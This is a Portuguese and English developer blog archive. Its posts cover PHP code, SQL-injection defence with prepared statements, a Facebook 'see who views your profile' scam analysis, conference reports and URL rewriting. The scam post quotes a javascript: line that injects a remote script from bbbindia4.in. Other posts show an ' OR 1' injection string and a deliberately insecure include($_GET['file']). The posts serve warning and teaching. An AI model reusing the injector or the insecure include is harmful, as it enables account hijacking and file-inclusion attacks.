Skip to content
Jul 18 12

Multiple Inheritance

by João Pedro Pereira

A very common problem PHP Developers find in Object Oriented Programming is the needs of Multiple Inheritance and PHP doesn’t support multiple inheritance, at least officially.

Fortunately, there are ways of doing this, without having to duplicate code.

Extension Manager

/**
* Multiple Inheritance
*
* Extension Manager
*
* @author Joao Pedro Pereira <contacto at joaopedropereira.com>
* @package blog <http: //joaopedropereira.com/blog/>
* @date 18.7.2012
*
*/
abstract class ExtensionManager
{
/**
* @var array
*/
protected $_extensions = array();

/**
* Stores a new Object in the $this->_extesions to be
* accessed after
*
* @param Object
*/
public function newExtension( $object )
{
$this->_extensions[] = $object;
}

/**
* Call dinamicaly the methods
*
* @param function
* @param mixed
*
* @return function execution
*
*/
public function __call( $method, $args )
{
foreach( $this->_extensions as $ext )
{
if( method_exists( $ext, $method ) ) {
return call_user_method_array( $method, $ext, $args );
}
}
throw new Exception('The Method: ', $method ,' does not exists!');
}
}

Extended Classes


class Ext1{
protected $name;
public function setName($name){
$this->name = $name;
}

public function getName(){
return $this->name;
}
}

class Ext2{
protected $country;
public function setCountry($country){
$this->country = $country;
}

public function getCountry(){
return $this->country;
}
}

Final Class


final class Base extends ExtensionManager
{
function __construct()
{
parent::newExtension( new Ext1() );
parent::newExtension( new Ext2() );
}

public function printTest()
{
return $this->getName().' is from: '.$this->getCountry();
}
}

How To Use It


$test = new Base();
$test->setName("Joao");
$test->setCountry("Portugal");
echo $test->printTest();

 

Please pay attention to the Diamond Problem when using multiple inheritance. This approach will use always the method from the first  extension.

Feb 19 12

[updated] Connection Details – Information About Your Connection

by João Pedro Pereira

The service http://connectiondetails.info was updated this week with new features and improved the ones existing.

The feature to recognize the operative system and browser was updated to be more precise and complete, also the speed meter was updated !

The news are in the location feature that was added on this version and the integration with Google Maps !

Thanks for your support.

 

Connection Details – Information About Your Connection

Jul 27 11

Prepared Statements contra SQL Injection

by João Pedro Pereira

É muito comum quando se estuda uma linguagem não se dar principal foco ao desenvolvimento em segurança, mas este, em ambientes de produção é um dos factores decisivos do sucesso de uma aplicação e da confiança por parte dos utilizadores.
Neste artigo vai ser abordada uma forma de defesa relativa a possíveis ataques de SQL Injection em PHP utilizando o SGDB MySQL, e com recurso a Prepared Statements.

Existe suporte oficial a várias bases de dados: CUBRID, MS SQL Server, Firebird/Interbase, IBM, Informix, MySQL, MS SQL Server, Oracle, ODBC e DB2, PostgreSQL, SQLite, 4D [print_r(PDO::getAvailableDrivers());]

Vantagens e Desvantagens

Vantagens:
i. Previne SQL Injection
ii. Melhora a performance (pode só ser notado quando usado em grandes plataformas)
iii. Mais simples de escrever e ler

Desvantagens e Limitações:
i. Limitado a: SELECT, INSERT, UPDATE, REPLACE, DELETE, e CREATE TABLE
ii. Placeholders apenas para valores e nunca para nomes de tabelas ou colunas
iii. Quando precisamos de utilizar o método bind_result no escopo de uma classe e não sabemos à partida quantas variáveis vão ser passadas. Problema analisado por Jeffrey Way @ NetTuts (http://net.tutsplus.com/tutorials/php/the-problem-with-phps-prepared-statements/)

addslashes vs mysql_real_escape_string vs Prepared Statements

As funções addslashes e mysql_real_escape_string não serão objecto de estudo neste artigo, será apenas faladas as vulnerabilidades que não acontecem com o uso de Prepared Statements de modo a mostrar que esta última alternativa é de facto a mais segura.

O Chris Shiflett (http://shiflett.org/archive/184) já analisou as vulnerabilidades das addslashes relativas ao abuso de caracteres multibyte.

A função mysql_real_escape_string não é muito diferente da addslashes ao nível do tipo de vulnerabilidade, na verdade a sua vantagem reside mesmo em ter em conta o character set a ser utilizado conseguindo determinar como analisar a informção passada. Contudo continuam a existir vulnerabilidades, por exemplo com a utilização da codificação GBK e da sequ?ncia 0xbf27 (¿’) que passada nesta função não terá o resultado pretendido de ¿\’ . (POC http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html )

Prepared Statements em Uso

Vejamos então um exemplo bastante simples…

$login = $_GET['login']
$query = "SELECT * FROM registos WHERE login = '$login'";

em que /?login=’ OR 1′;

Assim sendo
A query ficará algo do género:

$query = "SELECT * FROM registos WHERE login = '' OR 1";

O que resultaria num retorno de todas as informações da base de dados.

Se neste caso especifico fosse utilizado o método de destaque deste artigo: Prepared Statements, teriamos de colocar um placeholder (para marcar o local onde serão inseridos os dados a introduzir / consultar na base de dados, isto faz com que nos locais onde estão colocados os placeholders não sejam feitos pedidos à base de dados ou alteração ao pedido em questão. É aqui que reside a força deste método.

Existem duas formas de usar placeholders tal como referido no Manual do PHP.net

Forma #1:

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

Forma #2:

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);

Voltando então ao exemplo anterior, a nossa expressão seria então:

$query = "SELECT * FROM registos WHERE login = ?";

Nota: Apesar da extensão MySQLi também suportar prepared statements é aconselhável a utilização da extensão PDO (PHP Data Objects)

$login = "joaoppereira";
$query = "SELECT * FROM registos WHERE login = ?";
 
$stmt = $pdo->prepare($query); 
$stmt->bindValue(1, $login, PDO::PARAM_STR);
$ok = $stmt->execute();
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);

A função bindValue dos PDOStatement permite simples validações de tipo de dados no terceiro parâmetro da função bindValue(parametro, valor, tipo_dado), com as seguintes opções:

- PDO::PARAM_STR
- PDO::PARAM_INT
- PDO::PARAM_BOOL
- PDO::PARAM_NULL

Este foi só um artigo introdutório a este tema, existe agora imenso material no Manual do PHP.net e um pouco por toda a internet relativamente a esta temática para os que quiserem, e bem, aprofundar os conhecimentos relativos a Prepared Statements e PDO.

Bibliografia:

- http://php.net/manual/en/pdo.prepared-statements.php
- http://www.php.net/manual/en/class.pdostatement.php
- http://www.php.net/manual/en/pdo.constants.php
- http://www.php.net/manual/en/pdo.drivers.php
- http://net.tutsplus.com/tutorials/php/the-problem-with-phps-prepared-statements/

Apr 23 11

Análise Facebook: See who views your profile

by João Pedro Pereira

Para quem não reparou ainda há a circular uma praga no Facebook que utiliza o motivo de permitir ver quem visita o perfil !

Esta página incita o utilizador executar o seguinte código no browser tendo a página do facebook aberta.

javascript:(a=(b=document).createElement('script')).src='//bbbindia4.in/jsp.php',b.body.appendChild(a);void(0)

Este código simplesmente adiciona o código presente na página bbindia4.in/jsp.php à página do facebook. (em anexo  no fim do post)

Este ficheiro contém código JavaScript que vai criar um novo evento e convidar todos os amigos, vai ainda abrir uma conversa de chat e colocar uma mensagem com o link para o contacto em questão também sofrer o mesmo “ataque” e vai colocar uma mensagem no próprio Mural com números aleatórios e nomes de contactos aleatórios como se fossem as pessoas que mais vêm o perfil :)!

 

Isto apenas volta a mostrar que por mais segura que uma página seja os utilizadores podem ser sempre enganados tornando a página insegura !

 

Stay safe.

 

Anexo: jsp.php.txt

 

Dec 24 10

Balanço de 2010 e Previsões para 2011

by João Pedro Pereira

2010 foi um ano bastante produtivo e com muitas novidades e alterações na minha vida.

Novas Responsabilidades e Trabalhos

Em 2010 comecei a trabalhar no Centro de Eventos da Faculdade de Engenharia da Universidade do Porto (FEUP) como técnico audiovisual. Posição que me preenche mais o currículo e dá-me formação técnica e experiência de trabalho.

Na FEUP passei ainda por vários núcleos associativos como o NuIEEE, o niSDIC (núcleo de interesse em Sistemas Digitais e Computadores) e o FASt (Projecto Veleiro Autónomo da FEUP).

Em 2010 também entrei na Associação de Estudantes da FEUP (AEFEUP) para o Departamento de Comunicação e Imagem (DCI) onde tenho ganho experiência ao nível de design, e formação em captação / edição de vídeo.

2010 foi também um ano com renovação de laços com clientes através de desenvolvimento de sites e renovação de imagem. Novas parcerias e clientes surgiram.
Apesar de mais trabalho, tentei sempre dedicar a todos o máximo esforço de forma a maximizar a sua satisfação relativamente ao meu trabalho bem como maximizar a produtividade e visibilidade da empresa na Internet.

Em 2010, surgiu também uma actividade que me ocupou bastante tempo, a Praxe. Sou praxista e aprendi muito com isso e com o tempo que dediquei a esta actividade / este grupo que é o dos estudantes. Praxistas não são os que humilham os estudantes que entram pela primeira vez na faculdade, essas praxes que passam na televisão em nada se compraram à minha ideia de praxe nem ao que vejo ser feito no meu curso (MIEEC) e na minha faculdade (FEUP). Eu sou praxista porque acredito que a praxe pode ser um modo de integração, de educação e valores, e de onde se pode adquirir experiências para o futuro na componente humana que não se ganha estudante Electromagnetismo, Probabilidade e Estatísticas ou Programação.

Apareceram ainda várias propostas de trabalho fixo, não freelancing, a maior parte recusadas mas pode ser que 2011 traga novidades…

Envolvi-me ainda num projecto de uma startup. E comecei a dar os primeiros passos em Arduino.

Ano Novo, Mais Trabalho

Em 2011 pretendo continuar a desenvolver aplicações web contudo vou entrar em novos mercados.
Tal como já tive em 2010, vou ter a ajuda do Luís Pereira (twitter | youtube) na parte gráfica dos projectos que passam pela minha mão mas possivelmente com mais intensidade para me poder dedicar mais a outras áreas como o desenvolvimento para Android.
Tenho já duas aplicações para Android pensadas, aplicações que ainda não existem no Android Market e que eu prevejo serem de muito interesse para os estudantes, uma delas, que tem por trás alguns estudos em psicologia da mente métodos organizacionais e a outra que será sem dúvida um grande suporte para freelancers. Esta segunda tem previsto também uma Aplicação Web para poder ser usada através do computador tendo os dados sempre sincronizados.

Em 2011 vou voltar a contribuir para a Revista PROGRAMAR com artigos.

Conferências

Em 2010 estive bastante activo em conferências.
Participei mais uma vez no SAPO Codebits, mas esta edição foi diferente. Além de ter participado no Concurso de Segurança / Invasão (uma inovação em Portugal), na edição de 2010 do SAPO Codebits participei como orador ! Dando uma talk sobre Segurança de Aplicações Web (http://codebits.eu/intra/s/session/127). Uma excelente experiência que me fez crescer imenso e ganhar outra visão e visibilidade, fez também com que me apercebe-se de várias falhas ao nível da comunicação, que podem verificar no vídeo, como a linguagem utilizada e a rapidez com que falo ser excessiva podendo cansar a audiência.

Participei ainda TEDxYOUTHPORTO 2010 uma excelente conferência sobre Talento, uma palavra que começa a ser cada vez mais utilizada nos nossos dias mas que existe (pelo menos o seu significado) desde que existe a humanidade, Talento todos temos, Talento todos podemos desenvolver. Cabe a cada um de nós esforçar-se, dedicar-se, não ter medo de arriscar e investir !

Participei ainda em duas sessões do GTUG Porto. Uma HTML5 Hackaton com Paul Kinlan e uma Formação em Android com o Diogo Junior.

Participei pela primeira vez numa conferência de Segurança, a IBWAS’10 organizada pela OWASP Portugal. Uma excelente conferência que ainda estou a digerir em que fiz contactos e revi outros, que voltei a acordar e a ver que ainda há muitíssimo mais para aprender e para saber dentro do tema, gostei também de ver que não estou tão mal como poderia estar, pois algumas das talks foram quase que poderia dizer desinteressantes na medida em que as achei básicas.

Ano Novo, Mais Talks

Em 2011 quero continuar a assistir a conferências, a aprender e conhecer novas pessoas que me tragam novas visões do mundo.

Espero também no novo ano ter a oportunidade de dar mais talks, vou enviar papers para algumas conferências e vou aguardar convites que já me chegaram por vias informais.

Estudo

E como qualquer estudante que esteja na Universidade (estudante != aluno) o estudo ocupa-me muito tempo, e na maior parte das vezes tempo doloroso e que devido a falta de paciência e/ou interesse acabo por dispersar e tornar o tempo de estudo inútil, pois nem aprendo nem ocupo o meu tempo com outras coisas.

Ano Novo, Estudo Diferente

E o meu maior investimento ao nível de organização e produtividade em 2011 vai incidir neste ponto de forma a maximizar a produtividade do tempo que estudo e da maneira como estudo.

Desporto

No que toca ao desporto, o primeiro semestre de 2010 foi um ano muito bom. Apesar da minha equipa ter ficado apenas em 4º lugar no campeonato nacional de juniores masculinos em Voleibol, ao contrário do que se tinha passado na época anterior quando arrecadamos o titulo de campeões nacionais, foi um ano de muita evolução e auto-disciplina. Na transição de semestre, Junho, Julho, Agosto e inicio de Setembro, que investi noutros desportos como o Running (não lhe chamo jogging porque quem diz jogging normalmente limita-se a passear) e o Voleibol de Praia considerando que evolui bastante em ambos.
Contudo com o inicio das aulas, e com a mudança de equipa para uma equipa de menos rigor, exigência e profissionalismo desisti abandonar o desporto de alta competição e tenho apenas feito alguma manutenção…

Ano Novo, Mais Saúde

Além de pretender praticar mais desporto em 2011 que no final deste ano 2010, com ritmos mais certos pretendo ter hábitos mais saudáveis em diversos aspectos.

Ano Novo, Mais entusiasmo

Para o novo ano já comecei a preparar métodos para organizar e gerir melhor o meu tempo e actividades, algumas questões mais pessoais também já tiveram direit a ser pensadas e escritas numa folha que pretendo olhar para ela muitas vezes durante o ano e estar satisfeito com o que vou alcançando, com as metas atingidas !

Espero ainda ter tempo e vontade de mudar o design de todo o meu site (joaopedropereira.com/* ) de forma a ter um design uniforme e todo baseado em WordPress. Bem como tornar a página Universal aka passar tudo para Inglês (mantendo algumas situações em Português além de Inglês).

Por fim resta-me desejar a todos os que tiveram paciência de ler todo este post (e aos que não tiveram também), um Feliz Natal e um Próspero Ano Novo !

P.S – nesta época não esquecer que mais importante do que se dá e se recebe, são as pessoas com quem estamos ! Isso sim é o que devia caracterizar esta época festiva e não as prendas e lembranças.

Nov 17 10

SAPO Codebits 2010

by João Pedro Pereira

Mais uma edição do evento SAPO Codebits terminou, faz uma semana estava a preparar tudo para partir para Lisboa.

Antes de mais queria agradecer à FEUP, nomeadamente ao Departamento de Engenharia Electrotécnica que me financiou a ida ao Codebits 2010.

Esta foi a minha terceira participação neste evento mas foi de um certo modo muito especial para mim, pois marcou a minha estreia, digamos assim, como speaker !

Dei a minha primeira talk e nem correu nada mal. No geral recebi muito bom feedback, e também muitas criticas construtivas para melhorar a minha performance em palco !

Securing Your WebSite, is it that difficult ?

http://codebits.eu/intra/s/session/127

Slides: http://joaopedropereira.com/talks/codebits2010/ (os exemplos de SQL Injection não estão online)
Requisitos: Browser com suporte HTML5 + CSS3

Falando agora do evento em si…

O local escolhido para este ano foi muito bom, tem sido sempre a melhorar, à dois anos horrível, o ano passado muito bom mas muito comprido e este ano foi ideal ! Mesmo a sua localização é bestial, mesmo no coração do parque das nações !

O kit de boas vindas este ano foi constituido por:

  • Tshirt Codebits IV
  • Stickers
  • Mochila Codebits IV
  • Pulseira-PEN 2GBs Codebits IV
  • Manta TMN
  • Kit Higiene PT Inovação
  • Copo Aluminio Microsoft Azure
  • Sleeve MEO
  • Developer Network Map do Sapo

A Tshirt a que tive direito está awesome mesmo e a pen está muito boa também ! A Manta da TMN durante o evento não me foi útil mas neste momento está a ser bem útil ! Os stickers deste ano são de fraca qualidade, de resto não tenho nada a dizer, está um kit boas vindas muito porreiro!

Relativamente às talks, houve de tudo, assisti a talks muito boas e a talks em que se notava que não havia grande conhecimento do orador e era um discurso muito decorado e agarrado a slides… Mas no geral, esteve bem.

Relativamente à organização do evento esteve muito bem no geral e as falhas já as apontei a quem de direito :)!

Adorei o Workshop de Arduino e agora não paro de brincar com o meu !

Fotos do Evento: http://fotos.sapo.pt/joaoppereira/albuns/?aid=2

Em jeito de conclusão, quero dar, mais uma vez, os parabéns à organização por este excelente evento !

Over and Out !

Oct 23 10

Pequenas mudanças no blog…

by João Pedro Pereira

Depois de alguma análise relativamente ao desempenho e crescimento do blog decidi que vou fazer algumas mudanças na forma como este blog funciona.

  • Os artigos vão começar a aparecer em Inglês e / ou em Português
  • Os artigos mais avançados / mais desenvolvidos terão também a opção pdf para download sob a forma de paper’s.
  • Estou também a ver se mudo o design do blog e o design da minha página pessoal quando tiver algum tempo livre
  • Neste momento aceito também publicar artigos relaccionados com a temática do blog, quer em Português quer em Inglês, o chamado guest post tal como já aconteceu anteriormente exemplo). Por isso todos poderão contribuir !
  • Estou a pensar comprar um dominio para alojar o The Blog of a WebDeveloper e separá-lo do meu dominio pessoal joaopedropereira.com pois a ideia será no futuro o blog passar a ser escrito por uma equipa e não só por mim.
  • Vou também criar uma área de quick articles, não será microblogging mas parecido com isso, e também uma área de partilha de links interessantes

Mais novidades entretanto surgirão ;)!

Update – Neste momento estou a trabalhar na minha apresentação para o SAPO Codebits 2010 com o título Secure your WebSite, is it that difficult? quem tiver sugestões pode apresentá-las e gostava de saber quem dos meus leitores vai estar no Codebits 2010 para nos conhecermos pessoalmente ;)!

Sep 28 10

Portugal GTUG HTML5 Hackaton

by João Pedro Pereira

Sábado passado foi dia de Hackaton em HTML5 organizada pela malta da GTUG Portugal que trouxeram ao Maus Hábitos, Porto o Paul Kinlan !

A parte da manhã passou-se com uma excelente apresentação de potencialidades do HTML5 ! Canvas, Drag&Drop, WebSockets, Server-Sent actions, API’s, etc., etc., etc.

Foi uma cena brutal mesmo!

Houve Coffee Break’s e pausa para Almoço, tudo oferecido pela Google e esteve tudo muito bem !

Depois de almoço, a parte da tarde foi dedicada ao desenvolvimento de aplicaçõe sem HTML5, eu desenvolvi com o Tiago Boldt um pequeno chat, já agora Tiago acho que podíamos continuar com a ideia e fazer algo mais avançado e quem sabe depois fazer um release ! Deixo-te aqui a ideia ;)! Durante a parte da tarde ainda tivemos a oportunidade de ouvir um jovem pianista tocar para nós durante os momentos de bater código, o nome dele é Luís Pereira e é meu irmão.

Foi sem dúvida uma excelente experiência e ficou um repto no final. Sugerir talks para um próximo encontro no Porto! Eu vou pensar no assunto e quem sabe não envio um e-mail ao pessoal da GTUG Portuguesa!

Sep 20 10

Produtividade nos Transportes

by João Pedro Pereira

Para pessoas como eu que passam diariamente várias horas em viagem para ir para o trabalho, faculdade, etc. existem boas opções para transformar esses tempos “mortos” em cultura, em algo que seja produtivo para o nosso bem estar e para a nossa mente.

Ler

Pode aproveitar enquanto está nos transportes públicos, ou à espera deles, para pôr a leitura em dia! Dependendo das preferências ou do humor pode optar por ler as Feeds RSS no seu telemóvel, pode ler o último bestseller ou aquele livro que anda desejoso de ler, pode ler o jornal que nos grandes centros urbanos é distribuído gratuitamente (destak e metro) ou na falta de um gratuito comprar um jornal para se manter actualizado. Para os munidos de e-readers existem imensos pdf’s que podem descarregar para ler durante a viagem! Há ainda a opção de rever os apontamentos para o exame que vai ter nesse dia ou rever a apresentação ou plano de reunião que vai ter. Desde lazer a estudo e trabalho podemos aproveitar os transportes públicos para crescer através da leitura.

Ouvir

Caso conduza para o trabalho, não convém andar com o jornal ou um livro enquanto conduz, ou para aqueles que enjoam ao ler num veículo em movimento a melhor opção pode mesmo ser escutar uma boa música, as notícias no rádio ou ainda um podcast / audiobook. Existem imensos podcasts disponíveis para download.

Algumas Sugestões:

http://www.audible.com/ (pago)
http://www.audiofootnote.com/ (gratuito)
http://www.bbc.co.uk/podcasts (gratuito)
http://www.openculture.com/freeaudiobooks (gratuito)
http://www.getmon.com/ (gratuito)

Exercitar

Para aqueles sortudos que têm a possibilidade de ter um local de estudo/trabalho com balneários podem usar as chatas viagens para fazer algum exercício deslocando-se de bicicleta.

Evita o trânsito, acalma o stress, melhora a saúde e a condição física, é amigo do ambiente e ainda poupa dinheiro em passes de transportes ou em gasolina/gasóleo/GPL! Haverá meio de transporte mais perfeito, ainda por cima num país como o nosso que tem tantas condições ambientais para que isso aconteça!

Mind Challenging

Pode também optar por exercitar o cérebro resolvendo Sudokus, sopas de letras, palavras cruzadas, adivinhas, etc. este é normalmente mais apropriado para quem faz longas viagens pois um sudoku mais avançado não é algo que se resolva num autocarro cheio de barulho em 15min…

http://www.websudoku.com/ (gratuito)
http://letrasemsopa.blogspot.com/ (gratuito)

E vocês, o que fazem para aproveitar o tempo das viagens?

Aug 27 10

URL Rewriting contra ataques ?(!)

by João Pedro Pereira

O URL Rewriting ganhou muitos adeptos quando surgiu a moda das SEO (Search Engine Optimization) e das USO (User Scan Optimization) de forma a tornar as ligações de mais fácil leitura e percepção do seu conteúdo quer para os Motores de Pesquisa quer para o scan que o nosso cérebro faz quando olha para uma ligação, e é normalmente com este intuito que é utilizado.

Contudo, é possível utilizar URL Rewriting para melhorar a segurança do seu site.

ATENÇÃO: Não é seguro confiar neste método para a obtenção de um site seguro, este é apenas um método possível de obfuscação, isto é, para tornar mais dificil de perceber onde poderão estar as falhas, principalmente para ferramentas automáticas de pentesting!

Imaginemos o seguinte URL:

http://exemplo.pt/pagina.php?id=13&titulo=AppVulneravel

Uma ferramenta automática de SQL Injection fazia parsing do URL e detectava dois parâmetros com dois valores: ( id => 13, titulo => ‘AppVulneravel’ ) .

Utilizando o seguinte ficheiro .htaccess:

# Turn on URL rewriting
RewriteEngine On
 
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
 
RewriteRule ^pagina/(.+)/(.+) pagina.php?id=$1&amp;titulo=$2 [PT,L]

Já podíamos chamar a mesma página da seguinte forma:

http://exemplo.pt/pagina/13/AppVulneravel

A mesma ferramenta automática mais dificilmente chegaria a verificar se 13 e AppVulneravel não eram directórios e estávamos a trabalhar no index desse directório.

Neste caso, um olhar sobre o URL e percebia-se que estava a ser usado URL Rewriting e podia-se tentar explorar vulnerabilidades a partir desses parâmetros e/ou configurado uma ferramenta para fazer os testes correctamente tendo em conta essa informação.

Mas um outro exemplo:

pagina.php

include($_GET['file'].'.php'); // ATENÇÃO: Este código é altamente inseguro! Só para fins demonstrativos!

Tirando partido do código anterior podíamos ter os seguintes URLs:

http://exemplo.pt/index

http://exemplo.pt/about

Sem conhecer o site em questão eu diria que teriam um ficheiro .htaccess semelhante a este:

# Turn on URL rewriting
RewriteEngine On
 
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
 
RewriteRule ^(home)$ index.php [PT,L]
RewriteRule ^(about)$ about.php [PT,L]

Contudo, neste contexto, seria algo mais como:

# Turn on URL rewriting
RewriteEngine On
 
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
 
RewriteRule ^(.+) pagina.php?file=$1 [PT,L]

Conclusão

Podemos ver que este método é excelente para dificultar a tarefa a script kiddies e crackers com ferramentas de crawling com pesquisa de vulnerabilidades, pode também diminuir os pontos de teste de possíveis atacantes, como é mostrado neste último exemplo. No entanto, é preciso ter em muita atenção o que já referi anteriormente: Não é seguro confiar neste método para a obtenção de um site seguro, este é apenas um método possível de obfuscação, isto é, para tornar mais dificil de perceber onde poderão estar as falhas, principalmente para ferramentas automáticas de pentesting!